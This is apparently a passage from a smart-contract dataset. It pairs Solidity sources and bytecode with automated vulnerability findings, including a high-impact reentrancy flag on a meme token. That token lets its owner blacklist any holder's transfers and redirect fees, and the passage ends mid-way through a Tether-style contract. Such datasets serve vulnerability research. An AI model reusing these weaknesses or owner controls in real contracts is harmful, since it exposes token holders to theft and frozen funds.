fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546147bd90919063ffffffff16565b6005600087600160048110614f3b57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b600080620186a0905080831115615024576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806154806022913960400191505060405180910390fd5b600061504b8261503d868861484590919063ffffffff16565b6153cf90919063ffffffff16565b9050809250505092915050565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156151265750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b1561520657606460045483028161513957fe5b04600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f0e50d33f1f99eb3f5ddb660ffe45cef2202df73b122dc6b731b861cab348efa760646004548602816151e357fe5b0442604051808381526020018281526020019250505060405180910390a36153ca565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561526f5750600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b156153c957606460045483028161528257fe5b04600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f0e50d33f1f99eb3f5ddb660ffe45cef2202df73b122dc6b731b861cab348efa760646004548602816153aa57fe5b0442604051808381526020018281526020019250505060405180910390a35b5b505050565b6000808211615446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b600082848161545157fe5b049050809150509291505056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6e70657263656e74546f206d757374206265206c657373207468616e20666163746f72536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776e657752656650657263656e742063616e206e6f74206265206d6f7265207468616e203130304f6e6c79206e6577206f776e65722063616e2063616c6c20746869732066756e6374696f6e74726164696e67206665652063616e206e6f74206265206d6f7265207468616e2031303025a265627a7a7231582039b5efe9a083b63d43a6f524a43a5d2aa828dace2f671f2e473b36a6a2ad991f64736f6c634300050d0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,085 |
0x828ca6a021240e8735cd8ffd207cf44bb40343d7
|
// SPDX-License-Identifier: UNLICENSED
//Telegram: https://t.me/shibarmyinu
// Website: https://shibarmyinu.com
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBARMY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "SHIBARMY INU";
string private constant _symbol = "SHIBARMY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x0ac1DC44dFCE676e8fb534FCb9742154e7D832E6);
_buyTax = 9;
_sellTax = 9;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function initPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function tradeStart() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063dbe8272c11610064578063dbe8272c14610341578063dc1052e214610361578063dd62ed3e14610381578063ed173bcc146103c7578063feb1dfcc146103dc57600080fd5b80638da5cb5b1461029357806395d89b41146102bb578063a9059cbb146102ec578063b515566a1461030c578063c3c8cd801461032c57600080fd5b8063273123b7116100e7578063273123b71461020d578063313ce5671461022d5780636fc3eaec1461024957806370a082311461025e578063715018a61461027e57600080fd5b8063013206211461012f57806306fdde0314610151578063095ea7b31461019857806318160ddd146101c857806323b872dd146101ed57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014f61014a366004611601565b6103f1565b005b34801561015d57600080fd5b5060408051808201909152600c81526b5348494241524d5920494e5560a01b60208201525b60405161018f919061161e565b60405180910390f35b3480156101a457600080fd5b506101b86101b3366004611698565b610442565b604051901515815260200161018f565b3480156101d457600080fd5b50678ac7230489e800005b60405190815260200161018f565b3480156101f957600080fd5b506101b86102083660046116c4565b610459565b34801561021957600080fd5b5061014f610228366004611705565b6104c2565b34801561023957600080fd5b506040516009815260200161018f565b34801561025557600080fd5b5061014f61050d565b34801561026a57600080fd5b506101df610279366004611705565b610544565b34801561028a57600080fd5b5061014f610566565b34801561029f57600080fd5b506000546040516001600160a01b03909116815260200161018f565b3480156102c757600080fd5b506040805180820190915260088152675348494241524d5960c01b6020820152610182565b3480156102f857600080fd5b506101b8610307366004611698565b6105da565b34801561031857600080fd5b5061014f610327366004611738565b6105e7565b34801561033857600080fd5b5061014f61067d565b34801561034d57600080fd5b5061014f61035c3660046117fd565b6106bd565b34801561036d57600080fd5b5061014f61037c3660046117fd565b6106f5565b34801561038d57600080fd5b506101df61039c366004611816565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d357600080fd5b5061014f61072d565b3480156103e857600080fd5b5061014f6108d6565b6000546001600160a01b031633146104245760405162461bcd60e51b815260040161041b9061184f565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600061044f338484610ae8565b5060015b92915050565b6000610466848484610c0c565b6104b884336104b385604051806060016040528060288152602001611a15602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f1c565b610ae8565b5060019392505050565b6000546001600160a01b031633146104ec5760405162461bcd60e51b815260040161041b9061184f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105375760405162461bcd60e51b815260040161041b9061184f565b4761054181610f56565b50565b6001600160a01b03811660009081526002602052604081205461045390610f90565b6000546001600160a01b031633146105905760405162461bcd60e51b815260040161041b9061184f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044f338484610c0c565b6000546001600160a01b031633146106115760405162461bcd60e51b815260040161041b9061184f565b60005b81518110156106795760016006600084848151811061063557610635611884565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610671816118b0565b915050610614565b5050565b6000546001600160a01b031633146106a75760405162461bcd60e51b815260040161041b9061184f565b60006106b230610544565b905061054181611014565b6000546001600160a01b031633146106e75760405162461bcd60e51b815260040161041b9061184f565b600f81101561054157600b55565b6000546001600160a01b0316331461071f5760405162461bcd60e51b815260040161041b9061184f565b600f81101561054157600c55565b6000546001600160a01b031633146107575760405162461bcd60e51b815260040161041b9061184f565b600e546107779030906001600160a01b0316678ac7230489e80000610ae8565b600e546001600160a01b031663f305d719473061079381610544565b6000806107a86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610810573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061083591906118cb565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156108b2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054191906118f9565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161041b9061184f565b600f54600160a01b900460ff161561095a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e39190611916565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a549190611916565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610aa1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac59190611916565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610b4a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041b565b6001600160a01b038216610bab5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041b565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041b565b60008111610d345760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041b565b6001600160a01b03831660009081526006602052604090205460ff1615610d5a57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610d9c57506001600160a01b03821660009081526005602052604090205460ff16155b15610f0c576000600955600c54600a55600f546001600160a01b038481169116148015610dd75750600e546001600160a01b03838116911614155b8015610dfc57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e115750600f54600160b81b900460ff165b15610e3e576000610e2183610544565b601054909150610e31838361118e565b1115610e3c57600080fd5b505b600f546001600160a01b038381169116148015610e695750600e546001600160a01b03848116911614155b8015610e8e57506001600160a01b03831660009081526005602052604090205460ff16155b15610e9f576000600955600b54600a555b6000610eaa30610544565b600f54909150600160a81b900460ff16158015610ed55750600f546001600160a01b03858116911614155b8015610eea5750600f54600160b01b900460ff165b15610f0a57610ef881611014565b478015610f0857610f0847610f56565b505b505b610f178383836111ed565b505050565b60008184841115610f405760405162461bcd60e51b815260040161041b919061161e565b506000610f4d8486611933565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610679573d6000803e3d6000fd5b6000600754821115610ff75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041b565b60006110016111f8565b905061100d838261121b565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105c5761105c611884565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190611916565b816001815181106110ec576110ec611884565b6001600160a01b039283166020918202929092010152600e546111129130911684610ae8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061114b90859060009086903090429060040161194a565b600060405180830381600087803b15801561116557600080fd5b505af1158015611179573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061119b83856119bb565b90508381101561100d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041b565b610f1783838361125d565b6000806000611205611354565b9092509050611214828261121b565b9250505090565b600061100d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611394565b60008060008060008061126f876113c2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112a1908761141f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112d0908661118e565b6001600160a01b0389166000908152600260205260409020556112f281611461565b6112fc84836114ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161134191815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e8000061136f828261121b565b82101561138b57505060075492678ac7230489e8000092509050565b90939092509050565b600081836113b55760405162461bcd60e51b815260040161041b919061161e565b506000610f4d84866119d3565b60008060008060008060008060006113df8a600954600a546114cf565b92509250925060006113ef6111f8565b905060008060006114028e878787611524565b919e509c509a509598509396509194505050505091939550919395565b600061100d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f1c565b600061146b6111f8565b905060006114798383611574565b30600090815260026020526040902054909150611496908261118e565b30600090815260026020526040902055505050565b6007546114b8908361141f565b6007556008546114c8908261118e565b6008555050565b60008080806114e960646114e38989611574565b9061121b565b905060006114fc60646114e38a89611574565b905060006115148261150e8b8661141f565b9061141f565b9992985090965090945050505050565b60008080806115338886611574565b905060006115418887611574565b9050600061154f8888611574565b905060006115618261150e868661141f565b939b939a50919850919650505050505050565b60008261158357506000610453565b600061158f83856119f5565b90508261159c85836119d3565b1461100d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041b565b801515811461054157600080fd5b60006020828403121561161357600080fd5b813561100d816115f3565b600060208083528351808285015260005b8181101561164b5785810183015185820160400152820161162f565b8181111561165d576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461054157600080fd5b803561169381611673565b919050565b600080604083850312156116ab57600080fd5b82356116b681611673565b946020939093013593505050565b6000806000606084860312156116d957600080fd5b83356116e481611673565b925060208401356116f481611673565b929592945050506040919091013590565b60006020828403121561171757600080fd5b813561100d81611673565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561174b57600080fd5b823567ffffffffffffffff8082111561176357600080fd5b818501915085601f83011261177757600080fd5b81358181111561178957611789611722565b8060051b604051601f19603f830116810181811085821117156117ae576117ae611722565b6040529182528482019250838101850191888311156117cc57600080fd5b938501935b828510156117f1576117e285611688565b845293850193928501926117d1565b98975050505050505050565b60006020828403121561180f57600080fd5b5035919050565b6000806040838503121561182957600080fd5b823561183481611673565b9150602083013561184481611673565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118c4576118c461189a565b5060010190565b6000806000606084860312156118e057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561190b57600080fd5b815161100d816115f3565b60006020828403121561192857600080fd5b815161100d81611673565b6000828210156119455761194561189a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199a5784516001600160a01b031683529383019391830191600101611975565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119ce576119ce61189a565b500190565b6000826119f057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a0f57611a0f61189a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d485b4b974812097a5901acfa31e333627bf989e74d0f94de5a2e918f2fdf2064736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,086 |
0x38D3323353dEdF1fe756D443b0dD47B16ab63a19
|
/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
pragma solidity ^0.4.11;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
if (paused) throw;
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
if (!paused) throw;
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() constant returns (uint);
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, _to, sendAmount);
Transfer(msg.sender, owner, fee);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
uint constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
